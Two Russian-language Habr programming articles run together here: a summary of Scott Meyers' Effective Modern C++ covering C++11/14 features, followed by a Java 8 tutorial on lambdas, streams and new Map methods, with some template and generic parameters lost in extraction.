 Пару месяцев назд Скотт Майерс ([Scott Meyers](http://www.aristeia.com/)) выпустил новую книгу [Effective Modern C++](http://shop.oreilly.com/product/0636920033707.do?cmp=af-code-books-video-product_cj_0636920033707_7708709). Последние годы он безусловно является писателем №1 «про это», кроме того он блестящий лектор и каждая его новая книга просто обречена быть прочитана пишущими на С++. Более того, именно такую книгу я ждал давно, вышел стандарт С++11, за ним С++14, уже виднеется впереди С++17, язык стремительно меняется, однако нигде так и не были описаны все изменения в целом, взаимосвязи между ними, опасные места и рекомендуемые паттерны.
Тем не менее, регулярно просматривая Хабр, я так и не нашел публикации о новой книге, похоже придется писать самому. На полноценный перевод меня конечно не хватит, поэтому я решил сделать краткую выжимку, скромно назвав ее аннотацией. Еще я взял на себя смелость перегруппировать материал, мне кажется для короткого пересказа такой порядок подходит лучше. Все примеры кода взяты прямо из книги, изредка с моими дополнениями.
Одно предупреждение: Майерс *не описывает синтакс*, предполагается что читатель знает ключевые слова, как написать лямбда-выражение и т.д. Так что если кто-то решит начать изучение С++11/14 с этой книги, ему придется использовать дополнительные материалы для справки. Впрочем, это не проблема, все гуглится в один клик.
#### От С++98 к С++11/14. Галопом по всем новинкам
**auto** — на первый взгляд просто огромная ложка синтаксического сахара, которая однако способна изменить если не суть то вид С++ кода. Оказывается Страуструп предполагал ввести это ключевое слово (определенное, но бесполезное в С) в нынешнем значении еще в 1983 г., но отказался от этой идеи под давлением С-сообщества. Посмотрите, насколько это меняет код:
```
template
void dwim(It b, It e) {
while(b != e) {
typename std::iterator\_traits::value\_type
value=\*b;
....
}
}
template
void dwim(It b, It e) {
while(b != e) {
auto value=\*b;
...
}
}
```
Второй пример не просто короче, он прячет совершенно здесь ненужный точный тип выражения \*b, между прочим, в точном соответствии с канонами классического, еще дошаблонного, ООП. Более того, по сути выражение std::iterator\_traits<It>::value\_type — не более чем гениальный костыль, придуманный на заре STL для определения типа получающегося при разыменовании итератора, первый вариант будет работать только с типом для которого определена специализация iterator\_traits<>, а вот для второго нужен лишь operator\*(). Долой костыли!
Не убеждает? Вот еще пример, на мой взгляд просто убийственный:
```
std::unorderd_map m;
for(std::pair& p : m) { ... }
```
Этот код не компилируется,
**пруф**auto1.cc:8:38: error: invalid initialization of reference of type std::pair<std::basic\_string<char>, int>& from expression of type std::pair<const std::basic\_string<char>, int>
, дело в том что правильный тип для std::unordered\_map это std::pair<**const** std::string,int>, очевидно что ключ обязан быть константой, но гораздо проще использовать *auto* чем держать точный тип выражения в голове.
Еще несколько моментов, которые придают строгости языку:
```
int x1=1; //1 корректно
int x2; //2 а инициализовать то забыли!
auto x3=1; //3 корректно
auto x4; //4 ошибка! компилятор не пропустит
std::vector v;
unsigned x5=v.size(); //5 должно быть size\_t, возможна потеря данных
auto x6=v.size(); //6 корректно
int f();
int x7=f(); //7 а что если сигнатура f() изменится?
auto x8=f(); //8 корректно
```
Как видно из этих примеров, систематическое использование *auto* может сэкономить немало нервов при отладке.
И, наконец, там где без *auto* просто нельзя, лямбда-выражения:
```
auto derefUPLess=
[](const std::unique_ptr& p1,
const std::unique\_ptr& p2)
{ return \*p1 < \*p2; };
```
В этом случае точный тип derefUPLess известен только компилятору, его просто невозможно сохранить в переменной не используя *auto*. Конечно возможно написать так:
```
std::function&,
const std::unique\_ptr&)>
derefUPLess=
[](const std::unique\_ptr& p1,
const std::unique\_ptr& p2)
{ return \*p1 < \*p2; };
```
однако std::function<> и лямбда *не один и тот же тип*, значит будет вызываться конструктор, возможно с выделением памяти на куче, кроме того вызов std::function<> *гарантированно* дороже чем вызов лямбда -функции непосредатвенно.
И напоследок — ложка дегтя, *auto* работает по другому при инициализации через фигурные скобки:
```
int x1=1;
int x2(1);
int x3{1};
int x4={1};
```
все эти выражения совершенно эквивалентны, однако:
```
auto x1=1;
auto x2(1);
auto x3{1};
auto x4={1};
```
x1 и x2 будут иметь тип *int*, однако x3 и x4 будут иметь другой тип, *std::initializer\_list<int>*. Как только *auto* встречает {} инициализатор, она возвращает внутренний тип С++ для таких конструкций — *std::initializer\_list<>*. Почему это так, даже Майерс признается что не знает, я тем более гадать не буду.
**decltype** — здесь все более-менее просто, эта конструкция была добавлена чтобы удобнее писать шаблоны, в частности функции с возвращаемым типом зависящим от параметра шаблона:
```
template
auto access(Container& c, Index i) -> decltype(c[i])
{
....
return c[i];
}
```
Здесь *auto* просто указывает что возвращаемый тип будет указан *после* имени функции, а *decltype()* определяет тип возвращаемого значения, как правило ссылку на i-ый элемент контейнера, однако в общем случае именно то что возвращает c[i], что бы это ни было.
**uniform initialization** — как видно из названия в новом стандарте постарались ввести универсальный способ инициализации переменных, и это прекрасно, например теперь можно писать так:
```
std::vector v{1,2,3};
// или даже так
sockaddr\_in sa={AF\_INET, htons(80), inet\_addr("127.0.0.1")};
```
более того, используя фигурные скобки можно даже инициализовать нестатические члены класса (обычные скобки не работают):
```
class Widget {
...
int x{0};
int y{0};
int z{0};
};
```
Еще это наконец-то прячет в чулан вечнозеленые грабли которые вечно валялись под ногами, особенно досаждая разработчикам шаблонов:
```
Widget w1(); // это не вызов конструктора без параметров,
// это декларация функции
Widget w2{}; // а вот это именно то что я имел ввиду
```
И еще один шаг к строгости языка, новая инициализация предотвращает пребразование типов с потерей точности (narrowing conversion):
```
double a=1, b=2;
int x=a+b; // fine
int y={a+b}; // error
```
Однако ..., все равно не покидает ощущение что что-то пошло не так. Во первых, там где задействованы фигурные скобки, инициализация всегда происходит через внутренний тип *std::initializer\_list<>*, но, по непонятной причине, если класс определяет один из конструкторов с таким параметром, этот конструктор *всегда предпочитается компилятором*. Например:
```
class Widget {
Widget(int, int);
Widget(std::initializer_list);
};
Widget w1(0, 0); // calls ctor #1
Widget w2{0, 0}; // calls ctor #2 !?
```
Вопреки всякой очевидности во втором случае компилятор проигнорирует идеально подходящий конструктор\_1 и вызовет конструктор\_2, преобразовав int в double. Кстати, если поменять местами типы int и double в определении класса, то код вообще перестанет компилироваться потому что конверсия { double, double } в std::initializer\_list<int> происходит с потерей точности.
Эта коллизия может произойти с любым кодом уже сейчас, по правилам С++11.
std::vector(10, 20) создает обьект из 10 элементов, тогда как
std::vector{10, 20} создает обьект только из двух элементов.
Сверху это все украсим веточкой укропа — для copy-конструкторов и move-конструкторов это правило не работает:
```
class Widget {
Widget();
Widget(const Widget&);
Widget(Widget&&);
Widget(std::initializer_list);
operator int() const;
};
Widget w1{};
Widget w2{w1};
Widget w3{std::move(w1)};
```
Буквально следуя букве закона следовало бы ожидать что компилятор выберет конструктор с параметром std::initializer\_list а фактические параметры будут преобразованы через оператор int(), так ведь нет! В данном случае (copy/move constructor) вызываются именно конструкторы копий.
В общем рекомендация всегда использовать какой-то один тип скобок, круглые или фигурные, решительно не работает. Майерс советует придерживаться одного способа, применяя другой только там где необходимо, сам он склоняется к круглым скобкам, в чем я с ним согласен. Остается однако проблема с шаблонами, где то что должно быть вызвано определяется параметрами шаблона… Ну, по крайней мере С++ остается нескучным языком.
**nullptr** — тут даже говорить особо не о чем, очевидно что *NULL* так же как значение 0 *не являются указателями*, что приводит к многочисленным ошибкам при вызове перегруженных функций и реализации шаблонов. При этом *nullptr* является *указателем* и ни к каким ошибкам не приводит.
**alias declaration против typedef**
Вместо привычного обьявления типов
```
typedef std::unique_ptr> UPtrMapSS;
```
предлагается использовать вот такую конструкцию
```
using UPtrMapSS=std::unique_ptr>;
```
эти два выражения абсолютно эквивалентны, однако история на этом не кончается, синонимы (aliases) могут использоваться как шаблоны (alias templates) и это придает им дополнительную гибкость
```
template
using MyAllocList=std::list>;
MyAllocList lw;
```
В C++98 для создания такой конструкции MyAllocList пришлось бы обьявить шаблонной структурой, продекларировать тип внутри нее и использовать вот так:
```
MyAllocList::type lw;
```
но история продолжается. Если мы используем тип обьявленный через *typedef* как зависимый тип внутри шаблонного класса, нам приходится использовать дополнительные ключевые слова
```
template
class Widget {
typename MyAllocList::type lw;
...
```
в новом синтаксе все гораздо проще
```
template
class Widget {
MyAllocList lw;
...
```
В общем, метапрограммирование обещает быть гораздо более легким с этой синтаксической конструкцией. Более того, начиная с С++14 в <type\_traits> вводятся соответствующие синонимы, то есть вместо привычного
```
typename remove_const<...>::type
// можно писать
remove_const_t<...>
```
Использование синонимов — крайне полезная привычка, которую стоит начать в себе культивировать прямо сейчас. В свое время *typedef* безжалостно расправился с макросами, мы не забудем, не простим и отплатим ему той же монетой.
**scoped enums** — еще один шаг к внутренней стройности языка. Дело в том что классические перечисления (*enums*) обьявлялись внутри блока, однако их видимость (*scope*) оставалась глобальной.
```
enum Color { black, white, red };
```
black, white и red видимымы в том же блоке что и Color, что приводит к конфликтам и засорению пространства имен. Новый синтакс:
```
enum class Color { black, white, red };
Color c=Color::white;
```
выглядит гораздо элегантнее. Только одно но — одновременно убрали автоматическое приведение перечислений к целым типам
```
int x=Color::red; // ошибка
int y=static_cast(Color::white); // ok
```
к строгости языка это безусловно только добавляет, однако в подавляющем большинстве кода который я видел enums так или иначе конвертируются в *int*, хотя бы для переачи в *switch* или вывода в *std::cout*.
**override, delete и default** — новые полезные слова при обьявлении функций.
*override* сигнализирует компилятору что данная виртуальная функция-член класса должна перекрыть (*override*) некую функцию базового класса и, если подходящего варианта не находится, он любезно сообщит нам об ошибке. Все наверное сталкивались с ситуацией когда случайная опечатка или изменение сигнатуры превращает виртуальную функцию в обычную, самое неприятное что все прекрасно компилируется, но работает как-то не так. Так вот, больше этого не будет. Решительно рекомендуется к использованию.
*delete* — призвано заменить старый (и красивый) трюк с приватным обьявлением конструктора по умолчанию и оператора присвоения. Выглядит более последовательно, но не только. Этот прием можно применять и к свободным функциям чтобы запретить нежелательные преобразования аргументов
```
bool isLucky(int);
bool isLucky(char) =delete;
bool isLucky(bool) =delete;
bool isLucky(double) =delete;
isLucky('a'); // error
isLucky(true); // error
isLucky(3.5); // error
```
этот же прием можно использовать и для шаблонов
```
template void processPointer(T\*);
template<> void processPointer(void\*) =delete;
template<> void processPointer(char\*) =delete;
```
две последние декларации запрещают генерацию функций для некоторых типов аргумента.
*default* — этот модификатор *заставляет* компилятор генерировать автоматические функции класса, причем его действительно приходится использовать. К автоматически генерируемым функциям в С++98 относились конструктор без параметров, деструктор, копирующий конструктор и оператор присваивания, все они создавались по известным правилам в случае необходимости. В С++11 добавились перемещающий конструктор и оператор присваивания, но не только, изменились сами правила создания автоматических функций. Логика простая, автоматический деструктор вызывает по очереди деструкторы членов класса и базовых классов, копирующий/перемещающий конструктор вызывает по очереди соответствующие конструкторы своих членов и т.д. Однако, если мы вдруг решаем определить любую из этих функций вручную, значит нас это разумное поведение не устраивает и компилятор отказывается понимать наши мотивы, в таком случае перемещающие конструктор и оператор присвоения автоматически создаваться не будут. Разумеется к копирующей паре эта логика тоже применима, но решено [пока] оставить как было для обратной совместимости. То есть в С++11 имеет смысл писать как-то вот так:
```
class Widget {
public:
Widget() =default;
~Widget() =default;
Widget(const Widget&) =default;
Widget(Widget&&) =default;
Widget& operator=(const Widget&) =default;
Widget& operator=(Widget&&) =default;
...
};
```
Если позднее вы решите определить деструктор ничего не изменится, в противном случае перемещающие функции просто исчезли бы. Код продолжал бы компилироваться, однако вызывались бы копирующие аналоги.
**noexept** — наконец-то стандарт признал что существующая в С++98 спецификация исключений неэффективна, признал ее использование нежелательным (*deprecated*) и поставил взамен один большой красный флажок — *noexcept*, который декларирует что функция никогда не выбрасывает исключений. Если исключение все-таки брошено, программа гарантированно завершится, при этом, в отличие от *throw()*, даже стек не обязательно будет раскручен. Сам флажок оставлен из соображений эффективности, мало того что стек не нужно держать готовым к раскрутке, еще и сам генерируемый компилятором код может отличаться. Вот пример:
```
Widget w;
std::vector v;
...
v.push\_back(w);
```
При добавлении нового элемента к вектору рано или поздно возникает ситуация когда весь внутренний буфер надо переместить в памяти, в С++98 элементы поочередно *копируются*. В новом стандарте было бы логично элементы вектора *перемещать*, это на порядок эффективнее, но есть один нюанс… Если в процессе копирования какой-то из элементов выбросит исключение, новый элемент естественно вставлен не будет, но сам вектор останется в нормальном состоянии. Если же мы элементы *перемещали*, то часть из них уже в новом буфере, часть еще в старом, и восстановить память в рабочее состояние уже невозможно. Выход простой, если в классе Widget перемещающий оператор присвоения продекларирован как *noexcept*, обьекты будут перемещаться, если нет — копироваться.
**На этом закончим этот затянувшийся обзор новинок сезона**Я сознательно опустил несколько пунктов — **constexpr**, **std::cbegin()** и т.д. Они достаточно просты и говорить особенно не о чем. Вот что бы хотелось обсудить, так это тезис о том что константные функции-члены должны быть потокобезопасны, но это наоборот выходит за рамки простого добавления к синтаксу, может быть в комментариях получится.
#### Типы, их выведение и все с этим связанное
Выведение типов (type deduction) в С++98 использовалось исключительно в реализации шаблонов, новый стандарт добавил *универсальные ссылки*, ключевые слова *auto* и *decltype*. В большинстве случаев выведение интуитивно понятно, однако конфликты случаются и тогда понимание механизмов работы очень выручает. Возьмем вот такой псевдокод:
```
template
void f(ParamType param);
f(expr);
```
Главное здесь то что Т и ParamType в общем случае два различных типа, например ParamType может быть const T&. Точный тип Т выводится при реализации шаблона как из фактического типа expr, так и из вида ParamType, возможны несколько вариантов.
* Самый простой случай когда ParamType не является ни указателем, ни ссылкой, тогда выражение в функцию передается по значению, из expr убираются все ссылки, const модификаторы, остается чистый тип
```
template
void f(T param);
int x=1;
const int cx=x;
const int& rx=x;
f(x); // во всех вызовах значение Т и param - int
f(cx);
f(rx);
```
* Если ParamType — указатель или обычная (не универсальная) ссылка то при выведении типа Т ссылка убирается, но сохраняются const/volatile модификаторы
```
template
void f(T& param);
int x=1;
const int cx=x;
const int& rx=x;
f(x); // значение Т - int, param - int&
f(cx); // значение Т - const int, param - const int&
f(rx); // значение Т - const int, param - const int&
```
интуитивно все совершенно прозрачно, мы передаем значение по ссылке как указано в шаблоне, но сохраняем модификаторы на чтение/запись чтобы не нарушить права доступа к передаваемому обьекту.
* Если ParamType — универсальная ссылка то тип выражения зависит от типа expr. Если это *lvalue* то оба Т и ParamType трактуются как ссылка, а если expr — *rvalue* то применяются правила аналогичные обычным ссылкам:
```
template
void f(T&& param);
int x=1;
const int cx=x;
const int& rx=x;
// все параметры здесь - lvalue
f(x); // значение Т - int&, param - int&
f(cx); // значение Т - const int&, param - const int&
f(rx); // значение Т - const int&, param - const int&
// однако
f(1); // значение Т - int, param - int&&
```
Для *auto* правила выведения типов точно такие же, в этом случае *auto* играет роль параметра Т, за одним исключением, которое я уже упоминал, если *auto* видит выражение в фигурных скобках то выводится тип *std::initializer\_list*.
В случае *decltype* ~~почти~~ всегда возвращается именно тот тип который ему передали, в конце концов именно для этого его и придумали. Однако один нюанс все-таки существует — *decltype* возвращает ссылку для всех выражений отличных от просто имени, то есть:
```
int x=1;
decltype(x); // x -имя, возвращается тип int
decltype((x)); // (x) - выражение, возвращается тип int&
```
но вряд ли это кого-то заденет кроме библиотек активно использующих макросы.
---
Перечитал написанное, что-то много получается. А ведь самое интересное еще впереди, наверное лучше разбить на два поста. Продолжение следует. | https://habr.com/ru/post/248137/ | null | ru | null |
# Новое в Java 8
> [Java еще не умерла — и люди начинают это понимать.](https://twitter.com/mreinhold/status/429603588525281280)
Добро пожаловать в ведение по [Java 8](https://jdk8.java.net/). Этот материал шаг за шагом познакомит вас со всеми новыми фичами языка. Вы научитесь использовать методы интерфейсов по умолчанию (default interface methods), лямбда-выражения (lambda expressions), ссылки на методы (method references) и повторяемые аннотации (repeatable annotations). Все это будет сопровождаться короткими и простыми примерами кода. В конце статьи вы познакомитесь с наиболее свежими изменениями в [API](http://download.java.net/jdk8/docs/api/), касающихся потоков, функциональных интерфейсов, расширений для ассоциативных массивов, а также с изменениями в API работы с датами.
#### Методы интерфейсов по умолчанию
Java 8 позволяет вам добавлять неабстрактные реализации методов в интерфейс, используя ключевое слово `default`. Эта фича также известна, как методы расширения. Вот наш первый пример:
```
interface Formula {
double calculate(int a);
default double sqrt(int a) {
return Math.sqrt(a);
}
}
```
Кроме абстрактного метода `calculate` интерфейс `Formula` также определяет метод по умолчанию `sqrt`. Классы, имплементирующие этот интерфейс, должны переопределить только абстрактный метод `calculate`. Метод по умолчанию `sqrt` будет доступен без переопределения.
```
Formula formula = new Formula() {
@Override
public double calculate(int a) {
return sqrt(a * 100);
}
};
formula.calculate(100); // 100.0
formula.sqrt(16); // 4.0
```
`formula` реализован как анонимный объект. Этот код довольно избыточен: целых 6 строчек для такого простого вычисления как `sqrt(a * 100)`. В следующем разделе мы увидим, что в Java 8 есть куда более изящный способ реализации объектов с одним методом.
#### Лямбда-выражения
Давайте начнем с простого примера: сортировка массива строк в предыдущих версиях языка.
```
List names = Arrays.asList("peter", "anna", "mike", "xenia");
Collections.sort(names, new Comparator() {
@Override
public int compare(String a, String b) {
return b.compareTo(a);
}
});
```
Статический метод `Collections.sort` принимает список и компаратор, который используется для сортировки списка. Наверняка вам часто приходилось создавать анонимные компараторы для того чтобы передать их в метод.
Java 8 предоставляет гораздо более короткий синтаксис — лямбда-выражения, чтобы вам не приходилось тратить время на создание анонимных объектов:
```
Collections.sort(names, (String a, String b) -> {
return b.compareTo(a);
});
```
Как видите, код гораздо короче и куда более читаем. И его можно сделать еще короче:
```
Collections.sort(names, (String a, String b) -> b.compareTo(a));
```
Для однострочных методов вы можете опустить скобки {} и ключевое слово `return`. Так еще короче:
```
Collections.sort(names, (a, b) -> b.compareTo(a));
```
Компилятору известны типы параметров, поэтому их можно тоже опустить. Давайте посмотрим, как еще могут использовать лямбда-выражения.
#### Функциональные интерфейсы
Как лямбда-выражения соответствуют системе типов языка Java? Каждой лямбде соответствует тип, представленный интерфейсом. Так называемый *функциональный интерфейс* должен содержать **ровно один абстрактный метод**. Каждое лямбда-выражение этого типа будет сопоставлено объявленному методу. Также, поскольку методы по умолчанию не являются абстрактными, вы можете добавлять в функциональный интерфейс сколько угодно таких методов.
Мы можем использовать какие угодно интерфейсы для лямбда-выражений, содержащие ровно один абстрактный метод. Для того, чтобы гарантировать, что ваш интерфейс отвечает этому требованию, используется аннотация `@FunctionalInterface`. Компилятор осведомлен об этой аннотации, и выдаст ошибку компиляции, если вы добавите второй абстрактный метод в функциональный интерфейс.
Пример:
```
@FunctionalInterface
interface Converter {
T convert(F from);
}
```
```
Converter converter = (from) -> Integer.valueOf(from);
Integer converted = converter.convert("123");
System.out.println(converted); // 123
```
Имейте в виду, что этот код останется корректным даже если убрать аннотацию `@FunctionalInterface`.
#### Ссылки на методы и конструкторы
Предыдущий пример можно упростить, если использовать статические ссылки на методы:
```
Converter converter = Integer::valueOf;
Integer converted = converter.convert("123");
System.out.println(converted); // 123
```
Java 8 позволяет вам передавать ссылки на методы или конструкторы. Для этого нужно использовать ключевое слово `::`. Предыдущий пример иллюстрирует передачу ссылки на статический метод. Однако мы также можем ссылаться на экземплярный метод:
```
class Something {
String startsWith(String s) {
return String.valueOf(s.charAt(0));
}
}
```
```
Something something = new Something();
Converter converter = something::startsWith;
String converted = converter.convert("Java");
System.out.println(converted); // "J"
```
Давайте посмотрим, как передавать ссылки на конструкторы. Сперва определим бин с несколькими конструкторами:
```
class Person {
String firstName;
String lastName;
Person() {}
Person(String firstName, String lastName) {
this.firstName = firstName;
this.lastName = lastName;
}
}
```
Затем определим интерфейс фабрики, которая будет использоваться для создания новых персон:
```
interface PersonFactory {
P create(String firstName, String lastName);
}
```
Теперь вместо реализации интерфейса мы соединяем все вместе при помощи ссылки на конструктор:
```
PersonFactory personFactory = Person::new;
Person person = personFactory.create("Peter", "Parker");
```
Мы создаем ссылку на конструктор с помощью `Person::new`. Компилятор автоматически выбирает подходящий конструктор, сигнатура которого совпадает с сигнатурой `PersonFactory.create`.
#### Области действия лямбд
Доступ к переменным внешней области действия из лямбда-выражения очень схож к доступу из анонимных объектов. Вы можете ссылаться на переменные, объявленные как `final`, на экземплярные поля класса и статические переменные.
```
final int num = 1;
Converter stringConverter = (from) -> String.valueOf(from + num);
stringConverter.convert(2); // 3
```
Но в отличии от анонимных объектов, переменная `num` не обязательно должна быть объявлена как `final`. Такой код тоже сработает:
```
int num = 1;
Converter stringConverter = (from) -> String.valueOf(from + num);
stringConverter.convert(2); // 3
```
Однако переменная `num` должна все равно оставаться неизменяемой. Следующий код **не** скомпилируется:
```
int num = 1;
Converter stringConverter = (from) -> String.valueOf(from + num);
num = 3;
```
Запись в переменную `num` в пределах лямбда-выражения также запрещена.
##### Доступ к полям и статическим переменным
В отличии от локальных переменных, мы можем записывать значения в экземплярные поля класса и статические переменные внутри лямбда-выражений. Это поведение хорошо знакомо по анонимным объектам.
```
class Lambda4 {
static int outerStaticNum;
int outerNum;
void testScopes() {
Converter stringConverter1 = (from) -> {
outerNum = 23;
return String.valueOf(from);
};
Converter stringConverter2 = (from) -> {
outerStaticNum = 72;
return String.valueOf(from);
};
}
}
```
##### Доступ к методам интерфейсов по умолчанию
Помните пример с формулой из первого раздела? В интерфейсе `Formula` определен метод по умолчанию `sqrt`, который доступен из каждой имплементации интерфейса, включая анонимные объекты. Однако это не сработает в лямбда-выражениях.
Внутри лямбда-выражений запрещено обращаться к методам по умолчанию. Следующий код не скомпилируется:
```
Formula formula = (a) -> sqrt( a * 100);
```
#### Встроенные функциональные интерфейсы
JDK 1.8 содержит множество встроенных функциональных интерфейсов. Некоторые из них хорошо известны по предыдущим версиям языка, например, `Comparator` или `Runnable`. Все эти интерфейсы были поддержаны в лямбдах добавлением аннотации `@FunctionalInterface`.
Однако в Java 8 также появилось много новых функциональных интерфейсов, которые призваны облегчить вам жизнь. Некоторые интерфейсы хорошо известны по библиотеке Google Guava. Даже если вы незнакомы с этой библиотекой, вам стоить взглянуть, как эти интерфейсы были дополнены некоторыми полезными методами расширений.
##### Предикаты
Предикаты — это функции, принимающие один аргумент, и возвращающие значение типа boolean. Интерфейс содержит различные методы по умолчанию, позволяющие строить сложные условия (`and`, `or`, `negate`).
```
Predicate predicate = (s) -> s.length() > 0;
predicate.test("foo"); // true
predicate.negate().test("foo"); // false
Predicate nonNull = Objects::nonNull;
Predicate isNull = Objects::isNull;
Predicate isEmpty = String::isEmpty;
Predicate isNotEmpty = isEmpty.negate();
```
##### Функции
Функции принимают один аргумент и возвращают некоторый результат. Методы по умолчанию могут использоваться для построения цепочек вызовов (`compose`, `andThen`).
```
Function toInteger = Integer::valueOf;
Function backToString = toInteger.andThen(String::valueOf);
backToString.apply("123"); // "123"
```
##### Поставщики
Поставщики (suppliers) предоставляют результат заданного типа. В отличии от функций, поставщики не принимают аргументов.
```
Supplier personSupplier = Person::new;
personSupplier.get(); // new Person
```
##### Потребители
Потребители (consumers) представляют собой операции, которые производятся на одним входным аргументом.
```
Consumer greeter = (p) -> System.out.println("Hello, " + p.firstName);
greeter.accept(new Person("Luke", "Skywalker"));
```
##### Компараторы
Компараторы хорошо известны по предыдущим версиям Java. Java 8 добавляет в интерфейс различные методы по умолчанию.
```
Comparator comparator = (p1, p2) -> p1.firstName.compareTo(p2.firstName);
Person p1 = new Person("John", "Doe");
Person p2 = new Person("Alice", "Wonderland");
comparator.compare(p1, p2); // > 0
comparator.reversed().compare(p1, p2); // < 0
```
##### Опциональные значения
Опциональные значения (optionals) не являются функциональными интерфейсами, однако являются удобным средством предотвращения NullPointerException. Это важная концепция, которая понадобится нам в следующем разделе, поэтому давайте взглянем, как работают опциональные значения.
Опциональные значение — это по сути контейнер для значения, которое может быть равно null. Например, вам нужен метод, который возвращает какое-то значение, но иногда он должен возвращать пустое значение. Вместо того, чтобы возвращать null, в Java 8 вы можете вернуть опциональное значение.
```
Optional optional = Optional.of("bam");
optional.isPresent(); // true
optional.get(); // "bam"
optional.orElse("fallback"); // "bam"
optional.ifPresent((s) -> System.out.println(s.charAt(0))); // "b"
```
#### Потоки
Тип `java.util.Stream` представляет собой последовательность элементов, над которой можно производить различные операции. Операции над потоками бывают или промежуточными (intermediate) или конечными (terminal). Конечные операции возвращают результат определенного типа, а промежуточные операции возвращают тот же поток. Таким образом вы можете строить цепочки из несколько операций над одним и тем же потоком. Поток создаются на основе источников, например типов, реализующих `java.util.Collection`, такие как списки или множества (ассоциативные массивы не поддерживаются). Операции над потоками могут выполняться как последовательно, так и параллельно.
Сначала давайте посмотрим, как работать с потоком последовательно. Сперва создадим источник в виде списка строк:
```
List stringCollection = new ArrayList<>();
stringCollection.add("ddd2");
stringCollection.add("aaa2");
stringCollection.add("bbb1");
stringCollection.add("aaa1");
stringCollection.add("bbb3");
stringCollection.add("ccc");
stringCollection.add("bbb2");
stringCollection.add("ddd1");
```
В Java 8 вы можете быстро создавать потоки, используя вызовы `Collection.stream()` или `Collection.parallelStream()`. Следующие разделы объясняют наиболее распространенные операции над потоками.
##### Filter
Операция Filter принимает предикат, который фильтрует все элементы потока. Эта операция является *промежуточной*, т.е. позволяет нам вызвать другую операцию (например, `forEach`) над результатом. ForEach принимает функцию, которая вызывается для каждого элемента в (уже отфильтрованном) поток. ForEach является *конечной* операцией. Она не возращает никакого значения, поэтому дальнейший вызов потоковых операций невозможен.
```
stringCollection
.stream()
.filter((s) -> s.startsWith("a"))
.forEach(System.out::println);
// "aaa2", "aaa1"
```
##### Sorted
Операция Sorted является *промежуточной* операцией, которая возвращает отсортированное представление потока. Элементы сортируются в обычном порядке, если вы не предоставили свой компаратор:
```
stringCollection
.stream()
.sorted()
.filter((s) -> s.startsWith("a"))
.forEach(System.out::println);
// "aaa1", "aaa2"
```
Помните, что `sorted` создает всего лишь отсортированное представление и не влияет на порядок элементов в исходной коллекции. Порядок строк в `stringCollection` остается нетронутым:
```
System.out.println(stringCollection);
// ddd2, aaa2, bbb1, aaa1, bbb3, ccc, bbb2, ddd1
```
##### Map
*Промежуточная* операция `map` преобразовывает каждый элемент в другой объект при помощи переданной функции. Следующий пример преобразовывает каждую строку в строку в верхнем регистре. Однако вы так же можете использовать `map` для преобразования каждого объекта в объект другого типа. Тип результирующего потока зависит от типа функции, которую вы передаете при вызове `map`.
```
stringCollection
.stream()
.map(String::toUpperCase)
.sorted((a, b) -> b.compareTo(a))
.forEach(System.out::println);
// "DDD2", "DDD1", "CCC", "BBB3", "BBB2", "AAA2", "AAA1"
```
##### Match
Для проверки, удовлетворяет ли поток заданному предикату, используются различные операции сопоставления (match). Все операции сопоставления являются *конечными* и возвращают результат типа boolean.
```
boolean anyStartsWithA =
stringCollection
.stream()
.anyMatch((s) -> s.startsWith("a"));
System.out.println(anyStartsWithA); // true
boolean allStartsWithA =
stringCollection
.stream()
.allMatch((s) -> s.startsWith("a"));
System.out.println(allStartsWithA); // false
boolean noneStartsWithZ =
stringCollection
.stream()
.noneMatch((s) -> s.startsWith("z"));
System.out.println(noneStartsWithZ); // true
```
##### Count
Операция `Count` является *конечной* операцией и возвращает количество элементов в потоке. Типом возвращаемого значения является `long`.
```
long startsWithB =
stringCollection
.stream()
.filter((s) -> s.startsWith("b"))
.count();
System.out.println(startsWithB); // 3
```
##### Reduce
Эта конечная операция производит свертку элементов потока по заданной функции. Результатом является опциональное значение.
```
Optional reduced =
stringCollection
.stream()
.sorted()
.reduce((s1, s2) -> s1 + "#" + s2);
reduced.ifPresent(System.out::println);
// "aaa1#aaa2#bbb1#bbb2#bbb3#ccc#ddd1#ddd2"
```
#### Параллельные потоки
Как уже упоминалось выше, потоки могут быть последовательными и параллельными. Операции над последовательными потоками выполняются в одном потоке процессора, над параллельными — используя несколько потоков процессора.
Следующие пример демонстрирует, как можно легко увеличить скорость работы, используя параллельные потоки.
Сперва создадим большой список из уникальных элементов:
```
int max = 1000000;
List values = new ArrayList<>(max);
for (int i = 0; i < max; i++) {
UUID uuid = UUID.randomUUID();
values.add(uuid.toString());
}
```
Теперь измерим время сортировки этого списка.
###### Последовательная сортировка
```
long t0 = System.nanoTime();
long count = values.stream().sorted().count();
System.out.println(count);
long t1 = System.nanoTime();
long millis = TimeUnit.NANOSECONDS.toMillis(t1 - t0);
System.out.println(String.format("sequential sort took: %d ms", millis));
// sequential sort took: 899 ms
```
###### Параллельная сортировка
```
long t0 = System.nanoTime();
long count = values.parallelStream().sorted().count();
System.out.println(count);
long t1 = System.nanoTime();
long millis = TimeUnit.NANOSECONDS.toMillis(t1 - t0);
System.out.println(String.format("parallel sort took: %d ms", millis));
// parallel sort took: 472 ms
```
Как вы можете видеть, оба куска кода практически идентичны, однако параллельная сортировка почти в два раза быстрее. Все, что вам нужно сделать, это заменить вызов `stream()` на `parallelStream()`.
#### Ассоциативные массивы
Как уже упоминалось, ассоциативные массивы (maps) не поддерживают потоки. Вместо этого ассоциативные массивы теперь поддерживают различные полезные методы, которые решают часто встречаемые задачи.
```
Map map = new HashMap<>();
for (int i = 0; i < 10; i++) {
map.putIfAbsent(i, "val" + i);
}
map.forEach((id, val) -> System.out.println(val));
```
Этот код в особых комментариях не нуждается: `putIfAbsent` позволяет нам не писать дополнительные проверки на null; `forEach` принимает потребителя, который производит операцию над каждым элементом массива.
Этот код показывает как использовать для вычислений код при помощи различных функций:
```
map.computeIfPresent(3, (num, val) -> val + num);
map.get(3); // val33
map.computeIfPresent(9, (num, val) -> null);
map.containsKey(9); // false
map.computeIfAbsent(23, num -> "val" + num);
map.containsKey(23); // true
map.computeIfAbsent(3, num -> "bam");
map.get(3); // val33
```
Затем мы узнаем, как удалить объект по ключу, только если этот объект ассоциирован с ключом:
```
map.remove(3, "val3");
map.get(3); // val33
map.remove(3, "val33");
map.get(3); // null
```
Еще один полезный метод:
```
map.getOrDefault(42, "not found"); // not found
```
Объединить записи двух массивов? Легко:
```
map.merge(9, "val9", (value, newValue) -> value.concat(newValue));
map.get(9); // val9
map.merge(9, "concat", (value, newValue) -> value.concat(newValue));
map.get(9); // val9concat
```
В случае отсутствия ключа `Merge` создает новую пару ключ-значение. В противном случае — вызывает функцию объединения для существующего значения.
